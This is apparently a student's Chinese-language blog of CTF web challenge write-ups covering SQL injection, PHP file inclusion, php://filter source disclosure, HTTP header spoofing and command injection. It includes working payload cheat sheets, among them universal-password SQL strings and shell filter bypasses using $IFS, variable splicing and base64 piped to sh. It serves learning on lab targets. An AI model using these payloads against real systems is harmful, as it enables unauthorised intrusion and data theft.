这篇就是随便叨叨,慢慢学吧,才刚开始学没多久,感觉好多都不会,现在一直在学校里面学习,希望暑假可以一周一更吧(美好的祝愿) 现在还在学sql注入QAQ,真是好难啊啊啊啊 ——2024.7.19
[极客大挑战 2019]EasySQL1
sql注入
进去是这样一个页面 ,然后随便输入点什么都会报错
因为题目中说了是sql注入,就随便注入点什么进去
但是会报错,因为一般sql语句是单引号,这样输入后发现报错信息改变了
但是双引号还是红色的报错信息
所以是单引号注入,用万能密码注入一下
a' or 1=1#
select * from table_name where username = 'a' or 1=1 #'and password = '1'
#
是注释符,就直接将后面的内容注释掉了
就变成select * from table_name where username = 'a' or 1=1 #
(emmm)
一个新的知识点万能账号密码
找到单引号字符型密码直接注入就行,得到flag
【单引号字符型万能密码】 a' or true # a' or 1 # a' or 1=1 # a' or true --a a' or 1 -- a a' or 1=1 -- a
[极客大挑战 2019]Havefun
查看源代码
打开是一个网页
直接查看页面源代码,看到get接受了一个cat 值并传给了变量cat,直接get传参就行
[HCTF 2018]WarmUp
代码审计
没看懂,偷偷看看wp
okk,看懂了,来写一下
先看emm类中的内容
底下有个checkFile的静态方法,用于检查要包含的文件是不是在白名单中,白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对
其中包含的文件有source.php和hint.php
if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
是否存在page且page要是字符串
if (in_array($page, $whitelist)) { return true; }
看page是否是白名单中的内容
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
将page与?
进行拼接,然后strpos是查找字符串出现的位置,再用substr进行截取(一直截取到?
的位置)
if看现在的page是否是白名单中的值
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
将page值进行url编码
再进行上面的操作
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
检查$_REQUEST['file']是否存在且为字符串类型,调用上面的方法进行检查
嗷嗷,对了,这个是在source.php
的页面进行传参,所以 ?file=hint.php? 后面加个问号这样可以保证每次找去用于检查的内容都在白名单
看到flag在ffffllllaaaagggg
好像还考了个目录穿越
这个source.php一般在html目录下,往上还有www,var,然后到根目录,flag一般在根目录下面,因此(至少)要返回四层
[ACTF2020 新生赛]Include
php://filter伪协议
这道题查看页面源码没有看到有效的信息,然后思考题目include,是文件包含的题
用php://filter伪协议:
直接构造payloud?file=php://filter/convert.base64-encode/resource=flag.php
再base转码一下即可
php://filter伪协议
吼,再总结一下php:filter伪协议吧
php://filter是php语言中特有的协议流,作用是作为一个中间流来处理其他流
格式 可选参数,有read和write,字面意思就是读和写 过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode) 必选参数,后面写你要处理的文件名
除了base64还有rot13编码
php://filter/write=string.rot13/resource=flag.php
php://filter伪协议:
-
利用base64获得源码
-
通过读写编码实行绕过操作(过滤某些不需要的东西)
[ACTF2020 新生赛]Exec
命令执行
一些符号
;直接分号分隔 管道符:作用和&一样。前面和后面命令都要执行,无论前面真假 | 按位或 作用是直接执行|后面的语句 || 逻辑或 作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & 按位与 &前面和后面命令都要执行,无论前面真假 && 逻辑与 如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行 或 与 运算 对于‘与’运算,比如x&&y时,当x为false时,直接跳过,不会执行y里面的内容, 如果为真,两个条件都必须为真 对于‘或’运算,比如x||y时,当x为true时,就不会再执行y里面的内容
看到有个ping
Ping是啥捏
ping可以用来了解网络连接的情况
有个输入窗口有个ping
可能是sql注入,也有可能是命令执行
先ping 127.0.0.1,有回显,确定是命令执行漏洞
在后面直接跟命令执行的代码
127.0.0.1&ls /
在根目录下,看到有名为flag的文件
127.0.0.1& cat flag
没有回显
127.0.0.1& cat /flag
得到flag
[GXYCTF2019]Ping Ping Ping
内联执行,变量替换
GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客
一些小知识
命令联合执行
; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真 %0a (换行) %0d (回车)
命令绕过空格的方式有
${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 IFS < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab) X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
内联执行
内联,就是将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls` $IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字 这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
*shell是运行在终端中的文本互动程序。*
*bash(GNU Bourne-Again Shell)是最常用的一种shell,是当前大多数Linux发行版的默认Shell。*
bash常见的命令
cd:改变当前目录 exit:终止shell fc:用来编辑历史命令列表里的命令 fg:使一个被挂起的进程在前台继续执行 kill:终止某个进程 pwd:显示当前工作目录
1.用变量替换
/.*f.*l.*a.*g.*/
是flag的贪婪匹配
匹配一个字符串中,是否按顺序出现flag这四个字母
怎么绕过捏
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤 ?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没flag ?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤 ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤 ?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
2.内联执行
内联,就是将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS`ls` ?ip=127.0.0.1;cat$IFS$3`ls` ?ip=127.0.0.1;cat$IFS$9`ls` ?ip=127.0.0.1|cat$IFS$9`ls`
3.用管道+sh替换
cat flag.php 用base64加密来绕过正则匹配
Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
因为过滤掉了bash,但是没有过滤掉sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
|sh就是执行前面的echo脚本
相关题目的做法
cat fl* 用*匹配任意 cat fla* 用*匹配任意 ca\t fla\g.php 反斜线绕过 cat fl''ag.php 两个单引号绕过 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash //base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数 echo "63617420666c61672e706870" | xxd -r -p | bash //hex编码绕过(引号可以去掉) echo "63617420666c61672e706870" | xxd -r -p | sh //sh的效果和bash一样 cat fl[a]g.php 用[]匹配 a=fl;b=ag;cat $a$b 变量替换 cp fla{g.php,G} 把flag.php复制为flaG ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
然后自己做一遍吧
?ip=127.0.0.1;ls
?ip=127.0.0.1;cat flag.php
过滤了空格
?ip=127.0.0.1;cat{IFS}flag.php
过滤了}
符号
?ip=127.0.0.1;cat$IFS$1f*
过滤了flag和*
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
奇怪,这个好像换成?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
就不行
?ip=127.0.0.1|cat$IFS$1'ls'
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
要得到flag都要查看页面源代码,因为php文件是不可读的
[极客大挑战 2019]Secret File
php:filter伪协议
进去查看源码
点击了啥也没有
然后抓包看看,发现隐藏了个 secr3t.php
访问,然后代码审计
<html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); //关闭错误报告 $file=$_GET['file']; //GET传参 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?> </html>
很简单的一个代码审计:
strstr — 查找字符串的首次出现 stristr — strstr() 函数的忽略大小写版本
看看flag.php,什么都没有
用php://filter伪协议,来读取flag.php的文件源码
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
进行Base64解码
[极客大挑战 2019]Http
HTTP头
直接看网页发现没有啥信息,然后查看页面源代码,仔细找找嗷,发现有个secret.php
当然是访问它了
然后跳进
这句话就是要从https://Sycsecret.buuoj.cn
来
添加Referer(是指用户从哪个浏览器来)
添加User-Agent(使用什么工具访问浏览器)
添加X-Forwarded-For(本地回环)
HTTP Referer是header头的一部分,从哪个网页了链接过来的 X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上 COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密) X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
得到flag
在总结一下叭
-
简单的sql注入,万能密码
a' or 1=1#
-
一些基本的函数
in_array :检查数组中是否存在某个值 strpos:查找字符串出现的位置 stripos:不区分大小写查找字符串的位置(后面的在前面字符串中第一次出现的位置) preg_match: 执行正则匹配表达式 highlight_file:语法高亮一个php文件 isset:检测变量已经声明 intval:取整函数 file_put_contents:将数据写入文件 is_numeric:检测变量是否是数字或者是数字字符串 var_dump:可以输出多个值 hex2bin:把十六进制转换为ASCLL码值 error_reporting(0):关闭错误报告 parse_str: 把查询的字符串解析成多个变量(以数组的方式) strrev:反转字符串 include:包含并运行指定文件 assert:断言检测 sleep:延缓执行 strstr:查找字符串的首次出现
-
php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/write=convert.base64-decode/resource=flag.php
常见的php伪协议:
1.php://filter 主要用于读取源码 2.php://input 经常使用file_get_contents获取php://input内容 3.data:// 执行命令 4.file:// 访问本地文件系统
作用:
利用base64获得源码
通过读写编码实行绕过操作(过滤某些不需要的东西)
-
命令绕过空格的方式有:
${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 IFS < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab) X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
-
拼接方法:
a=fl;b=ag;cat $a$b
-
单引号,双引号,反斜线
c""at f''lag c\at fl\ag
-
base64编码
echo "Y2F0IGZsYWc="|base64 -d (cat flag) echo "Y2F0IGZsYWc="|base64 -d|bash (在bash被过滤的情况下可尝试sh)
HTTP头:
HTTP Referer是header头的一部分,从哪个网页了链接过来的 X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上(本地回环,一般是127.0.0.1) COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密) X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言 USer-Agent:是一个用来 标识发送请求的客户端(通常是浏览器或其他网络应用程序)的字符串